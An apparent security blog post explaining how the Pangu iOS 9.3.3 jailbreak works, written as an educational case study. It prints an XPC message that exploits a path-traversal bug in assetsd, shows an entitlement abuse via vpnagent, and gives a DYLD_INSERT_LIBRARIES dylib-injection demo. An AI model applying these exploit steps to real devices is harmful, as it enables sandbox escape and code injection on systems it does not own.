Many people who jailbreak their devices are unaware of the vulnerabilities being exploited in order to gain privileged access to the underlying iOS operating system. Users typically jailbreak devices in order to install applications that have not undergone Apple’s software evaluation process.  This post will explore the low level mechanics of the iOS 9.3.3 jailbreak as an educational case study.

There are many restrictions in place that are enforced for applications and users. A Jailbreak ultimately requires a bug in the kernel that can be exploited. Restrictions include KASLR, SMAP, KPP and the App Sandbox.  In order to gain access to the kernel, there are typically multiple software flaws and misconfigurations that must be leveraged, which then leads to access as a privileged and unrestricted user.

Overview of iOS Security Architecture

Below is a high level diagram of the iOS Security Architecture that demonstrates security controls that are in place between the hardware/firmware and software.

ios security architecture

ios security architecture

The App Sandbox is designed to ensure that apps are doing what they’re supposed to do. It is also there to protect applications from unintentional bugs that may be introduced through flaws in the code or inherited from a framework. Contrary to an application without App Sandbox, an application with App Sandbox limits the resources on a per app basis to protect from such flaws. App Sandbox is there as a last line of defence against various attacks that can be utilized to gain access, delete or corrupt data pertaining to the targeted application. The image below depicts how an application is protected using the App Sandbox.

With and without App sandbox

With and without App sandbox

XPC

XPC is an advanced framework that is built on Mach messages and simplifies low level Inter-process Communication (IPC).  XPC allows communication between Application and System services. These messages are passed between an XPC Server and XPC Client. XPC is widely used by system frameworks and first-party applications. You can run the following command to survey the inventory of XPC services that are on a given iOS or OS X system:

find /Applications -name \*.xpc

Exploiting Userland vulnerability in assetsd via XPC message

Now we understand some of the various technologies used to mitigate certain issues targeting iOS applications, as well as some of those that will be used as an exploit vehicle to trigger Userland code execution. Let’s take a look at how the iOS 9.3.3 Jailbreak works under the hood.

A vulnerability exists in assetsd that allows files and directories to be moved to a new location.

In iOS 9.3.3 container apps can communicate with a service provided by /System/Library/ Frameworks/AssetsLibrary.framework named com.apple.PersistentURLTranslator.Gatekeeper via XPC. There is a method that allows a user to move a specified file or directory in /var/mobile/MEDIA/DCIM. The problem is that srcPath and destSubdir are derived from user input retrieved in XPC messages which lack validation.  It is possible to use commonly known path traversal tricks such as ../ in the srcPath and destSubdir parameters which lead to arbitrary file reads/writes as the iOS mobile user.

This is what a sample XPC message that triggers the issue in assetsd would look like:

// code snippet – thx Pangu
xpc_connection_t client = xpc_connection_create_mac_service("com.apple.PersistentURLTranslator.Gatekeeper", NULL, 0);
xpc_connection_set_event_handler(client, ^void(xpc_object_t_response) {
});
xpc_connection_resume(client);
xpc_object_t_ dict = xpc_dictionary_create(NULL, NULL, );
NSString *dstPATH = [@"../../../../../../../" stringByAppendingPathComponent:dest];
xpc_dictionary_set_string(dict, "srcPath", [src UTF8String]);
xpc_dictionary_set_string(dict, "destSubdir", [dstPath UTF8String]);
xpc_dictionary_set_int64(dict, "transactionID", 4);
xpc_dictionary_set_int64(dict, "operation", 4);
xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict);

The issue is triggered on line 10.

Utilizing dyld (Dynamic Linker) to Get Arbitrary Code Execution

To inject a dylib into a system process, an attacker can utilize the DYLD_INSERT_LIBRARIES environment variable, but the executable must have the get-task-allow entitlement.  The Pangu team checked all executables in iOS 9 and did not identify one that had the get-task-allow entitlement.  They were excited to find that the developer disk images (DDI) did allow this by running the following command:

codesign -d --entitlements - .//usr/libexec/vpnagent

That command above produces the following output which proves that vpnagent has the entitlement needed:

<plist version=1.0>
<dict>
<key>get-task-allow</key>
<true/>

In order to make this executable, the old Developer Disk Image (DDI) that contains vpnagent should be mounted.  Even though a failure will occur, MobileStorageMounter will register the trustcache hash values for executables which is signed by Apple.  MobileStorageMounter will then notify the kernel that vpnagent is a platform binary without creating any code signing failures on iOS 9.

The kernel enforces the sandbox profile for a particular executable in a couple of different ways.  First, the default container sandbox profile will be applied if the vpnagent executable is located in /private/var/mobile/Containers/Data/.  If the executable is located somewhere else on the system, the kernel will apply the seatbelt-profile, which is specified in the executable’s signature segment.  A sample of what one may look like is as follows:

(version 1)
(debug allow)
(allow process*)
(deny default)

Enabling Debugging

In order to enable debug server on iOS 9 a normal DDI should be mounted.

Utilizing assetsd Path Traversal XPC Vulnerability to Execute Arbitrary Code

The next step is to send a specifically crafted XPC message to exploit a path traversal vulnerability in assetsd to move the vpnagent from the DDI to a place that the debugserver has access to. Once the executable is moved to a path outside of /private/var/mobile/Containers/Data, the sandbox seatbelt-profile will be applied. This will ensure that the kernel does not apply the default sandbox profile.

Putting the VPN Agent in Debug Mode and Performing Code Injection

Once this has been performed, the debugserver will allow a process with the get-task-allow entitlement to continually run even if code signing invalidation occurs. A dylib can now be injected using the DYLD_INSERT_LIBRARIES environment variable. DYLD_INSERT_LIBRARIES is very similar to LD_PRELOAD on Linux.  The signature of a system binary should be used when loading the dylib so that the kernel will believe that the vpnagent is loading an iOS 9 system binary.

Below is sample code that demonstrates simple code injection on OS X:

#import "ACCalculatorOverrides.h"
#include <stdio.h>
#include <objc/runtime.h>
#include <Foundation/Foundation.h>
#include <AppKit/AppKit.h>
static IMP sOriginalImp = NULL;
@implementation ACCalculatorOverrides
+(void)load
{
    // We replace the method -[CalculatorController showAbout:] with the method -[ACCalculatorOverrides patchedShowAbout:]
    Class originalClass = NSClassFromString(@"CalculatorController");
    Method originalMeth = class_getInstanceMethod(originalClass, @selector(showAbout:));
    sOriginalImp = method_getImplementation(originalMeth);
    Method replacementMeth = class_getInstanceMethod(NSClassFromString(@"ACCalculatorOverrides"), @selector(patchedShowAbout:));
    method_exchangeImplementations(originalMeth, replacementMeth);
}
-(void)patchedShowAbout:(id)sender
{
    // We first call the original method to display the original About Box
    sOriginalImp(self, @selector(showAbout:), self);
    // Run our custom code which simply display an alert
    NSAlert *alert = [NSAlert alertWithMessageText:@"Code has been injected!" defaultButton:@"OK" alternateButton:nil otherButton:nil informativeTextWithFormat:@"The code has been injected using DYLD_INSERT_LIBRARIES into Calculator.app"];
    [alert runModal];
}
@end

The following command will build this dynamic library:

gcc -framework AppKit -framework Foundation -o CalculatorOverrides.dylib -dynamiclib ACCalculatorOverrides.m

The final step is to inject it into the application:

DYLD_INSERT_LIBRARIES=/PATH_TO/CalculatorOverrides.dylib/Applications/Calculator.app /Contents/MacOS/Calculator &

This will result in the following:

Performing code injection using dylib

Performing code injection using dylib

As shown above, an alert box was injected. This will be utilized in a similar fashion to exploit the next series of vulnerabilities that will allow a user gain access to the device as a privileged user.

Conclusion

Most users are unaware that Jailbreaking devices requires the exploitation of security flaws and configuration weaknesses that exist on a particular version of iOS or an application running on their device. These same vulnerabilities can be exploited by those with real malicious intent. Even then, considering the Jailbreak teams do not provide complete source and steps required to jailbreak, it is hard to tell everything that they may be doing.  Further details will be covered in the next blog post.

[Part 2 – To be Continued]

References

  1. Pangu Internals – https://www.blackhat.com/docs/us-16/materials/us-16-Wang-Pangu-9-Internals.pdf
  2. Jonathan Levin. (2013). Mac OS X and iOS Internals. New York, NY: John Wiley & Sons
  3. Amit Sing. (2007). Mac OS X Internals. New York, NY: Addison-Wesley
  4. Jailbreak Exploits – https://www.theiphonewiki.com/wiki/Jailbreak_Exploits 
  5. iOS Security – iOS 9.3 or later – https://www.apple.com/business/docs/iOS_Security_Guide.pdf
  6. Compromising IDEVICES via Airdrop – https://2015.ruxcon.org.au/assets/2015/slides/ruxcon-2016-dowd.pptx
  7. Simple code injection using DYLD_INSERT_LIBRARIES environment variable – http://blog.timac.org/?p=761
  8. App Sandboxing – https://developer.apple.com/app-sandboxing/
  9. osx dylib injection – https://github.com/scen/osxinj